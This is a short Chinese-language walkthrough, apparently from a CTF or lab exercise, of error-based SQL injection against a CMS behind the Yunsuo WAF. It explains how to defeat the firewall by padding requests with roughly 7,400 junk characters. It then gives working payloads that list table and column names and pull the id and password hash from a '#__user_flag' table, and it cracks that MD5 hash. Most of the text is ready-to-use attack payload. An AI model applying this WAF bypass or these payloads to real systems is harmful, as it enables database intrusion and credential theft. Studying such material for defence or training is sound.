SQL报错盲注绕过云锁
有锁
还是被拦截了,怎么办?
我们要知道对方负责检测我们的语句是否存在恶意代码,对方是装了一个工具,但是工具运行要占用系统内存,对于这种防护类软件占用系统资源还是比较高的,而对于一台服务器来说资源是很宝贵的,而这些所谓的杀毒软件和防护软件,他们检测的数据越多,消耗的资源也就越大导致网站越来越卡,影响正常用户体验,所以说出于用户体验感的目的,这个服务器的防护软件检测数据的长度或内容是有限的,那只有我们把间谍或特务放后面,他就检测不到了,绕过检测了,所以我们可以给他大量的垃圾字符串,当他检测到一定值时就不检测了,所以就绕过了。
那垃圾字符串放多长呢?
我们不知道,只能一个一个试,一边加一边go
大概长度:7400
查询表名:
(0x23,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)
因为这个是cms,只需知道表名格式即可,无需查找字段名
[
依次爆出其他表名
查询到表名格式:#__assets,…
接下来爆破查询表名
为方便查看
从结果中搜寻
找到我们想要的
再查询字段名,里面有#
(0x23,concat(0x7e,(select column_name from information_schema.columns where table_name='#__user_flag' limit 0,1)),1)
用这个查字段名
(1,concat(0x7e,(select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 64,1) limit 0,1)),1)
id passwd
具体内容
(1,concat(0x7e,(select id from #__user_flag limit 0,1)),1)
(1,concat(0x7e,(select passwd from #__user_flag limit 0,1)),1)
id: WhatsUp
passwd: 68e109f0f40ca72a15e05cc22786f8
md5解密: HelloWorld